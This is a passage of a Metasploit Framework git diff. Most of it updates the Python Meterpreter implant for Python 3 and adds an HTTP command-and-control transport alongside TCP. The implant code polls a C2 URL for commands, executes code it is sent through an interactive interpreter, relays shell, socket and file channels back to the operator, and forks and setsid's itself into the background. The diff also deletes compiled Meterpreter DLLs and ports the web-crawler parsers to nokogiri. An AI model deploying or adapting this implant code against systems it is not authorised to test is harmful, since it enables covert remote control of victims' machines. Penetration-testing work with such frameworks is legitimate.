| 26 -TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 +TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 +TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 +TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 -TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 -TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 -TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 -TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 -TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 +TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 +TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 +TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 +TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 +TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 +TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55 -TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 -TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 -TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 +TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 +TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 +TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72 -TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 -TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 +TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300 +TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301 -TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 -TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 -TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 -TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 +TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400 +TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401 +TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402 +TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403 -TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 -TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 +TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 +TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 + +TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 +TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 +TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 +TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 + +EXPORTED_SYMBOLS = {} +EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING + +def export(symbol): + EXPORTED_SYMBOLS[symbol.__name__] = symbol + return symbol def generate_request_id(): chars = 'abcdefghijklmnopqrstuvwxyz' - return ''.join(random.choice(chars) for x in xrange(32)) + return ''.join(random.choice(chars) for x in range(32)) -def packet_get_tlv(pkt, tlv_type): - offset = 0 - while (offset < len(pkt)): - tlv = struct.unpack('>II', pkt[offset:offset+8]) - if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: - val = pkt[offset+8:(offset+8+(tlv[0] - 8))] - if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = val.split('\x00', 1)[0] - elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: - val = struct.unpack('>I', val)[0] - elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - val = bool(struct.unpack('b', val)[0]) - elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - pass - return {'type':tlv[1], 'length':tlv[0], 'value':val} - offset += tlv[0] - return {} +@export +def crc16(data): + poly = 0x1021 + reg = 0x0000 + if is_str(data): + data = list(map(ord, data)) + elif is_bytes(data): + data = list(data) + data.append(0) + data.append(0) + for byte in data: + mask = 0x80 + while mask > 0: + reg <<= 1 + if byte & mask: + reg += 1 + mask >>= 1 + if reg > 0xffff: + reg &= 0xffff + reg ^= poly + return reg +@export +def error_result(exception=None): + if not exception: + _, exception, _ = sys.exc_info() + exception_crc = crc16(exception.__class__.__name__) + if exception_crc == 0x4cb2: # WindowsError + return error_result_windows(exception.errno) + else: + result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON) + return result + +@export +def error_result_windows(error_number=None): + if not has_windll: + return ERROR_FAILURE + if error_number == None: + error_number = ctypes.windll.kernel32.GetLastError() + if error_number > 0xffff: + return ERROR_FAILURE + result = ((error_number << 16) | ERROR_FAILURE_WINDOWS) + return result + +@export +def inet_pton(family, address): + if hasattr(socket, 'inet_pton'): + return socket.inet_pton(family, address) + elif has_windll: + WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA + lpAddress = (ctypes.c_ubyte * 28)() + lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress)) + if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0: + raise Exception('WSAStringToAddress failed') + if family == socket.AF_INET: + return ''.join(map(chr, lpAddress[4:8])) + elif family == socket.AF_INET6: + return ''.join(map(chr, lpAddress[8:24])) + raise Exception('no suitable inet_pton functionality is available') + +@export def packet_enum_tlvs(pkt, tlv_type = None): offset = 0 while (offset < len(pkt)): @@ -118,9 +226,11 @@ def packet_enum_tlvs(pkt, tlv_type = None): if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type): val = pkt[offset+8:(offset+8+(tlv[0] - 8))] if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - val = val.split('\x00', 1)[0] + val = str(val.split(NULL_BYTE, 1)[0]) elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: val = struct.unpack('>I', val)[0] + elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: + val = struct.unpack('>Q', val)[0] elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: val = bool(struct.unpack('b', val)[0]) elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: @@ -129,36 +239,79 @@ def packet_enum_tlvs(pkt, tlv_type = None): offset += tlv[0] raise StopIteration() +@export +def packet_get_tlv(pkt, tlv_type): + try: + tlv = list(packet_enum_tlvs(pkt, tlv_type))[0] + except IndexError: + return {} + return tlv + +@export def tlv_pack(*args): if len(args) == 2: tlv = {'type':args[0], 'value':args[1]} else: tlv = args[0] data = "" - if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: - data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00' - elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: data = struct.pack('>III', 12, tlv['type'], tlv['value']) + elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD: + data = struct.pack('>IIQ', 16, tlv['type'], tlv['value']) elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: - data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value']))) - elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] - elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] - elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: - data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8') + else: + value = tlv['value'] + if not is_bytes(value): + value = bytes(value, 'UTF-8') + if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE + elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value + elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value + elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: + data = struct.pack('>II', 8 + len(value), tlv['type']) + value return data +#@export +class MeterpreterFile(object): + def __init__(self, file_obj): + self.file_obj = file_obj + + def __getattr__(self, name): + return getattr(self.file_obj, name) +export(MeterpreterFile) + +#@export +class MeterpreterSocket(object): + def __init__(self, sock): + self.sock = sock + + def __getattr__(self, name): + return getattr(self.sock, name) +export(MeterpreterSocket) + +#@export +class MeterpreterSocketClient(MeterpreterSocket): + pass +export(MeterpreterSocketClient) + +#@export +class MeterpreterSocketServer(MeterpreterSocket): + pass +export(MeterpreterSocketServer) + class STDProcessBuffer(threading.Thread): def __init__(self, std, is_alive): threading.Thread.__init__(self) self.std = std self.is_alive = is_alive - self.data = '' + self.data = bytes() self.data_lock = threading.RLock() def run(self): - for byte in iter(lambda: self.std.read(1), ''): + for byte in iter(lambda: self.std.read(1), bytes()): self.data_lock.acquire() self.data += byte self.data_lock.release() @@ -166,21 +319,28 @@ class STDProcessBuffer(threading.Thread): def is_read_ready(self): return len(self.data) != 0 - def read(self, l = None): - data = '' + def peek(self, l = None): + data = bytes() self.data_lock.acquire() if l == None: data = self.data - self.data = '' else: data = self.data[0:l] - self.data = self.data[l:] self.data_lock.release() return data + def read(self, l = None): + self.data_lock.acquire() + data = self.peek(l) + self.data = self.data[len(data):] + self.data_lock.release() + return data + +#@export class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) + self.echo_protection = False def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) @@ -188,25 +348,73 @@ class STDProcess(subprocess.Popen): self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) self.stderr_reader.start() + def write(self, channel_data): + self.stdin.write(channel_data) + self.stdin.flush() + if self.echo_protection: + end_time = time.time() + 0.5 + out_data = bytes() + while (time.time() < end_time) and (out_data != channel_data): + if self.stdout_reader.is_read_ready(): + out_data = self.stdout_reader.peek(len(channel_data)) + if out_data == channel_data: + self.stdout_reader.read(len(channel_data)) +export(STDProcess) + class PythonMeterpreter(object): - def __init__(self, socket): + def __init__(self, socket=None): self.socket = socket + self.driver = None + self.running = False + self.communications_active = True + self.communications_last = 0 + if self.socket: + self.driver = 'tcp' + elif HTTP_CONNECTION_URL: + self.driver = 'http' + self.last_registered_extension = None self.extension_functions = {} self.channels = {} self.interact_channels = [] self.processes = {} - for func in filter(lambda x: x.startswith('_core'), dir(self)): + for func in list(filter(lambda x: x.startswith('_core'), dir(self))): self.extension_functions[func[1:]] = getattr(self, func) - self.running = True + if self.driver: + if hasattr(self, 'driver_init_' + self.driver): + getattr(self, 'driver_init_' + self.driver)() + self.running = True + + def debug_print(self, msg): + if DEBUGGING: + print(msg) + + def driver_init_http(self): + if HTTP_PROXY: + proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY}) + opener = urllib.build_opener(proxy_handler) + else: + opener = urllib.build_opener() + if HTTP_USER_AGENT: + opener.addheaders = [('User-Agent', HTTP_USER_AGENT)] + urllib.install_opener(opener) + self._http_last_seen = time.time() + self._http_request_headers = {'Content-Type': 'application/octet-stream'} + + def register_extension(self, extension_name): + self.last_registered_extension = extension_name + return self.last_registered_extension def register_function(self, func): self.extension_functions[func.__name__] = func + return func def register_function_windll(self, func): if has_windll: self.register_function(func) + return func def add_channel(self, channel): + assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket))) idx = 0 while idx in self.channels: idx += 1 @@ -220,44 +428,113 @@ class PythonMeterpreter(object): self.processes[idx] = process return idx + def get_packet(self): + packet = getattr(self, 'get_packet_' + self.driver)() + self.communications_last = time.time() + if packet: + self.communications_active = True + return packet + + def send_packet(self, packet): + getattr(self, 'send_packet_' + self.driver)(packet) + self.communications_last = time.time() + self.communications_active = True + + def get_packet_http(self): + packet = None + request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers) + try: + url_h = urllib.urlopen(request) + packet = url_h.read() + except: + if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT: + self.running = False + else: + self._http_last_seen = time.time() + if packet: + packet = packet[8:] + else: + packet = None + return packet + + def send_packet_http(self, packet): + request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers) + try: + url_h = urllib.urlopen(request) + response = url_h.read() + except: + if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT: + self.running = False + else: + self._http_last_seen = time.time() + + def get_packet_tcp(self): + packet = None + if len(select.select([self.socket], [], [], 0.5)[0]): + packet = self.socket.recv(8) + if len(packet) != 8: + self.running = False + return None + pkt_length, pkt_type = struct.unpack('>II', packet) + pkt_length -= 8 + packet = bytes() + while len(packet) < pkt_length: + packet += self.socket.recv(pkt_length - len(packet)) + return packet + + def send_packet_tcp(self, packet): + self.socket.send(packet) + def run(self): while self.running: - if len(select.select([self.socket], [], [], 0.5)[0]): - request = self.socket.recv(8) - if len(request) != 8: - break - req_length, req_type = struct.unpack('>II', request) - req_length -= 8 - request = '' - while len(request) < req_length: - request += self.socket.recv(4096) + request = None + should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5) + self.communications_active = False + if should_get_packet: + request = self.get_packet() + if request: response = self.create_response(request) - self.socket.send(response) + self.send_packet(response) else: - channels_for_removal = [] - channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed + # iterate over the keys because self.channels could be modified if one is closed + channel_ids = list(self.channels.keys()) for channel_id in channel_ids: channel = self.channels[channel_id] - data = '' + data = bytes() if isinstance(channel, STDProcess): if not channel_id in self.interact_channels: continue - if channel.stdout_reader.is_read_ready(): - data = channel.stdout_reader.read() - elif channel.stderr_reader.is_read_ready(): + if channel.stderr_reader.is_read_ready(): data = channel.stderr_reader.read() + elif channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read() elif channel.poll() != None: self.handle_dead_resource_channel(channel_id) - elif isinstance(channel, socket._socketobject): + elif isinstance(channel, MeterpreterSocketClient): while len(select.select([channel.fileno()], [], [], 0)[0]): try: d = channel.recv(1) except socket.error: - d = '' + d = bytes() if len(d) == 0: self.handle_dead_resource_channel(channel_id) break data += d + elif isinstance(channel, MeterpreterSocketServer): + if len(select.select([channel.fileno()], [], [], 0)[0]): + (client_sock, client_addr) = channel.accept() + server_addr = channel.getsockname() + client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock)) + pkt = struct.pack('>I', PACKET_TYPE_REQUEST) + pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open') + pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id) + pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id) + pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0])) + pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1]) + pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0])) + pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1]) + pkt = struct.pack('>I', len(pkt) + 4) + pkt + self.send_packet(pkt) if data: pkt = struct.pack('>I', PACKET_TYPE_REQUEST) pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') @@ -266,7 +543,7 @@ class PythonMeterpreter(object): pkt += tlv_pack(TLV_TYPE_LENGTH, len(data)) pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.socket.send(pkt) + self.send_packet(pkt) def handle_dead_resource_channel(self, channel_id): del self.channels[channel_id] @@ -277,19 +554,25 @@ class PythonMeterpreter(object): pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) pkt = struct.pack('>I', len(pkt) + 4) + pkt - self.socket.send(pkt) + self.send_packet(pkt) def _core_loadlib(self, request, response): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE - preloadlib_methods = self.extension_functions.keys() - i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) + + self.last_registered_extension = None + symbols_for_extensions = {'meterpreter':self} + symbols_for_extensions.update(EXPORTED_SYMBOLS) + i = code.InteractiveInterpreter(symbols_for_extensions) i.runcode(compile(data_tlv['value'], '', 'exec')) - postloadlib_methods = self.extension_functions.keys() - new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) - for method in new_methods: - response += tlv_pack(TLV_TYPE_METHOD, method) + extension_name = self.last_registered_extension + + if extension_name: + check_extension = lambda x: x.startswith(extension_name) + lib_methods = list(filter(check_extension, list(self.extension_functions.keys()))) + for method in lib_methods: + response += tlv_pack(TLV_TYPE_METHOD, method) return ERROR_SUCCESS, response def _core_shutdown(self, request, response): @@ -299,9 +582,9 @@ class PythonMeterpreter(object): def _core_channel_open(self, request, response): channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) - handler = 'channel_create_' + channel_type['value'] + handler = 'channel_open_' + channel_type['value'] if handler not in self.extension_functions: - return ERROR_FAILURE, response + return error_result(NotImplementedError), response handler = self.extension_functions[handler] return handler(request, response) @@ -310,11 +593,11 @@ class PythonMeterpreter(object): if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] - if isinstance(channel, file): - channel.close() - elif isinstance(channel, subprocess.Popen): + if isinstance(channel, subprocess.Popen): channel.kill() - elif isinstance(s, socket._socketobject): + elif isinstance(channel, MeterpreterFile): + channel.close() + elif isinstance(channel, MeterpreterSocket): channel.close() else: return ERROR_FAILURE, response @@ -329,8 +612,8 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] result = False - if isinstance(channel, file): - result = channel.tell() == os.fstat(channel.fileno()).st_size + if isinstance(channel, MeterpreterFile): + result = channel.tell() >= os.fstat(channel.fileno()).st_size response += tlv_pack(TLV_TYPE_BOOL, result) return ERROR_SUCCESS, response @@ -356,14 +639,14 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] data = '' - if isinstance(channel, file): - data = channel.read(length) - elif isinstance(channel, STDProcess): + if isinstance(channel, STDProcess): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) if channel.stdout_reader.is_read_ready(): data = channel.stdout_reader.read(length) - elif isinstance(s, socket._socketobject): + elif isinstance(channel, MeterpreterFile): + data = channel.read(length) + elif isinstance(channel, MeterpreterSocket): data = channel.recv(length) else: return ERROR_FAILURE, response @@ -378,14 +661,14 @@ class PythonMeterpreter(object): return ERROR_FAILURE, response channel = self.channels[channel_id] l = len(channel_data) - if isinstance(channel, file): - channel.write(channel_data) - elif isinstance(channel, subprocess.Popen): + if isinstance(channel, subprocess.Popen): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) return ERROR_FAILURE, response - channel.stdin.write(channel_data) - elif isinstance(s, socket._socketobject): + channel.write(channel_data) + elif isinstance(channel, MeterpreterFile): + channel.write(channel_data) + elif isinstance(channel, MeterpreterSocket): try: l = channel.send(channel_data) except socket.error: @@ -409,20 +692,28 @@ class PythonMeterpreter(object): if handler_name in self.extension_functions: handler = self.extension_functions[handler_name] try: - #print("[*] running method {0}".format(handler_name)) + self.debug_print('[*] running method ' + handler_name) result, resp = handler(request, resp) - except Exception, err: - #print("[-] method {0} resulted in an error".format(handler_name)) - result = ERROR_FAILURE + except Exception: + self.debug_print('[-] method ' + handler_name + ' resulted in an error') + if DEBUGGING: + traceback.print_exc(file=sys.stderr) + result = error_result() else: - #print("[-] method {0} was requested but does not exist".format(handler_name)) - result = ERROR_FAILURE + self.debug_print('[-] method ' + handler_name + ' was requested but does not exist') + result = error_result(NotImplementedError) resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp return resp if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): if hasattr(os, 'setsid'): - os.setsid() - met = PythonMeterpreter(s) + try: + os.setsid() + except OSError: + pass + if HTTP_CONNECTION_URL and has_urllib: + met = PythonMeterpreter() + else: + met = PythonMeterpreter(s) met.run() diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll deleted file mode 100755 index 6dddf1056a..0000000000 Binary files a/data/meterpreter/metsrv.x64.dll and /dev/null differ diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll deleted file mode 100755 index e5c7373f56..0000000000 Binary files a/data/meterpreter/metsrv.x86.dll and /dev/null differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index 2f6cffe02f..d508fd9f22 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll deleted file mode 100755 index 91f123da9c..0000000000 Binary files a/data/meterpreter/screenshot.x64.dll and /dev/null differ diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll deleted file mode 100755 index c35ccb08bf..0000000000 Binary files a/data/meterpreter/screenshot.x86.dll and /dev/null differ diff --git a/data/msfcrawler/basic.rb b/data/msfcrawler/basic.rb index 467cf6807b..759e0459c6 100755 --- a/data/msfcrawler/basic.rb +++ b/data/msfcrawler/basic.rb @@ -13,7 +13,7 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerSimple < BaseParser @@ -24,23 +24,20 @@ class CrawlerSimple < BaseParser return end - doc = Hpricot(result.body.to_s) - doc.search('a').each do |link| - - hr = link.attributes['href'] - - if hr and !hr.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',hr,request['uri'],nil) - - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" + # doc = Hpricot(result.body.to_s) + doc = Nokogiri::HTML(result.body.to_s) + doc.css('a').each do |anchor_tag| + hr = anchor_tag['href'] + if hr && !hr.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET', hr, request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end end end - end end end diff --git a/data/msfcrawler/forms.rb b/data/msfcrawler/forms.rb index e5cd23b556..b0c48e1472 100755 --- a/data/msfcrawler/forms.rb +++ b/data/msfcrawler/forms.rb @@ -13,7 +13,7 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerForms < BaseParser @@ -27,49 +27,30 @@ class CrawlerForms < BaseParser hr = '' m = '' - doc = Hpricot(result.body.to_s) - doc.search('form').each do |f| - hr = f.attributes['action'] + doc = Nokogiri::HTML(result.body.to_s) + doc.css('form').each do |f| + hr = f['action'] - fname = f.attributes['name'] - if fname.empty? - fname = "NONE" - end + fname = f['name'] + fname = "NONE" if fname.empty? - m = "GET" - if !f.attributes['method'].empty? - m = f.attributes['method'].upcase - end + m = f['method'].empty? ? 'GET' : f['method'].upcase - #puts "Parsing form name: #{fname} (#{m})" - - htmlform = Hpricot(f.inner_html) + htmlform = Nokogiri::HTML(f.inner_html) arrdata = [] - htmlform.search('input').each do |p| - #puts p.attributes['name'] - #puts p.attributes['type'] - #puts p.attributes['value'] - - #raw_request has uri_encoding disabled as it encodes '='. - arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value'])) + htmlform.css('input').each do |p| + arrdata << "#{p['name']}=#{Rex::Text.uri_encode(p['value'])}" end data = arrdata.join("&").to_s - begin - hreq = urltohash(m,hr,request['uri'],data) - + hreq = urltohash(m, hr, request['uri'], data) hreq['ctype'] = 'application/x-www-form-urlencoded' - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" end end end diff --git a/data/msfcrawler/frames.rb b/data/msfcrawler/frames.rb index c6d2cbe03a..5edfaec16f 100755 --- a/data/msfcrawler/frames.rb +++ b/data/msfcrawler/frames.rb @@ -9,33 +9,29 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerFrames < BaseParser def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + return unless result['Content-Type'].include?('text/html') - doc = Hpricot(result.body.to_s) - doc.search('iframe').each do |ifra| + doc = Nokogiri::HTML(result.body.to_s) + doc.css('iframe').each do |ifra| + ir = ifra['src'] - ir = ifra.attributes['src'] - - if ir and !ir.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',ir,request['uri'],nil) - - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Error" + if ir && !ir.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET', ir, request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + end end - end + end end + end diff --git a/data/msfcrawler/image.rb b/data/msfcrawler/image.rb index 0cc2aefb39..5e5d643637 100755 --- a/data/msfcrawler/image.rb +++ b/data/msfcrawler/image.rb @@ -10,33 +10,26 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerImage < BaseParser def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + return unless result['Content-Type'].include?('text/html') - doc = Hpricot(result.body.to_s) - doc.search('img').each do |i| - - im = i.attributes['src'] - - if im and !im.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',im,request['uri'],nil) - - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{i[0]}" + doc = Nokogiri::HTML(result.body.to_s) + doc.css('img').each do |i| + im = i['src'] + if im && !im.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET', im, request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + end end - end + end end end diff --git a/data/msfcrawler/link.rb b/data/msfcrawler/link.rb index 543fdad2c3..9cb7794ef0 100755 --- a/data/msfcrawler/link.rb +++ b/data/msfcrawler/link.rb @@ -10,33 +10,25 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerLink < BaseParser def parse(request,result) + return unless result['Content-Type'].include?('text/html') - if !result['Content-Type'].include? "text/html" - return - end - - doc = Hpricot(result.body.to_s) - doc.search('link').each do |link| - - hr = link.attributes['href'] - - if hr and !hr.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',hr,request['uri'],nil) - - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" + doc = Nokogiri::HTML(result.body.to_s) + doc.css('link').each do |link| + hr = link['href'] + if hr && !hr.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET', hr, request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + end end - end + end end end diff --git a/data/msfcrawler/objects.rb b/data/msfcrawler/objects.rb index 68a53e2382..fe69846cb1 100755 --- a/data/msfcrawler/objects.rb +++ b/data/msfcrawler/objects.rb @@ -13,36 +13,25 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerObjects < BaseParser def parse(request,result) - - if !result['Content-Type'].include? "text/html" - return - end - + return unless result['Content-Type'].include?('text/html') # TOOD: use MIXIN hr = '' m = '' - - doc = Hpricot(result.body.to_s) - doc.search("//object/embed").each do |obj| - + doc = Nokogiri::HTML(result.body.to_s) + doc.xpath("//object/embed").each do |obj| s = obj['src'] - begin - hreq = urltohash('GET',s,request['uri'],nil) - + hreq = urltohash('GET', s, request['uri'], nil) insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" end end end + end diff --git a/data/msfcrawler/scripts.rb b/data/msfcrawler/scripts.rb index 3789842344..a28a0a0470 100755 --- a/data/msfcrawler/scripts.rb +++ b/data/msfcrawler/scripts.rb @@ -13,36 +13,27 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerScripts < BaseParser def parse(request,result) - - if !result['Content-Type'].include? "text/html" - return - end + return unless result['Content-Type'].include? "text/html" hr = '' m = '' - - doc = Hpricot(result.body.to_s) - doc.search("//script").each do |obj| - + doc = Nokogiri::HTML(result.body.to_s) + doc.xpath("//script").each do |obj| s = obj['src'] - begin - hreq = urltohash('GET',s,request['uri'],nil) - + hreq = urltohash('GET', s, request['uri'], nil) insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts 